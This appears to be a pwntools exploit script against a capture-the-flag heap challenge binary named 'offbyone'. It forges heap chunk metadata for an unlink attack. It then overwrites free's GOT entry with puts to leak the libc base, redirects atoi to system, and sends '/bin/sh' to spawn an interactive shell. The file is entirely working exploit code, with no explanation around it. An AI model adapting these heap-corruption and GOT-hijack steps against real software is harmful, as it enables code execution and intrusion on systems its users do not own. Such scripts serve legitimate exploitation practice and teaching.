#!/usr/bin/env python

from pwn import *

sh = process("./offbyone")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
context.arch="amd64"

def create(length, content):
	sh.recvuntil("edit\n")
	sh.sendline("1")
	sh.recvuntil("input len\n")
	sh.sendline(str(length))
	sh.recvuntil("input your data\n")
	sh.send(content)

def delete(index):
	sh.recvuntil("edit\n")
	sh.sendline("2")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))

def show(index):
	sh.recvuntil("edit\n")
	sh.sendline("3")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))

def edit(index,content):
	sh.recvuntil("edit\n")
	sh.sendline("4")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))
	sh.recvuntil("input your data\n")
	sh.send(content)

gdb.attach(sh)

print "stage 1:-----------------unlink attack-----------------"
create(0x88,'h'*0x88) #index 0
create(0x88,'j'*0x88) #index 1
create(0x88,'k'*0x88) #index 2
create(0x88,'A'*0x88) #index 3
create(0x88,'B'*0x88) #index 4
create(0x88,'C\n')
store_addr=0x6020c0 + 0x18
edit(3,p64(0)+p64(0x80)+p64(store_addr-0x18)+p64(store_addr-0x10)+'C'*0x60+p64(0x80)+'\x90') 
delete(4)
atoi_got=0x602068
puts_plt=0x000000000400700
free_got=0x000000000602018
puts_got=0x000000000602028
edit(3,p64(free_got)) #overwrte index 0 --> got_free
edit(0,p64(puts_plt))

print "stage 2:-----------------leak libc:-----------------"
edit(3,p64(puts_got))
delete(0)
sh.recvuntil("\n")
sh.recvuntil("\n")
puts_address=u64(sh.recv(6)+'\x00'*2) #
print hex(puts_address)
libc_base=puts_address-libc.symbols['puts']
print hex(libc_base)

system_addr=libc_base+libc.symbols['system']
print hex(system_addr)

print "stage 3:-----------------pwn it:-----------------"
create(0x88,'A'*0x88) #index 0
edit(3,p64(atoi_got))
edit(0,p64(system_addr))
sh.recvuntil("edit\n")
sh.sendline("/bin/sh\x00")
sh.interactive()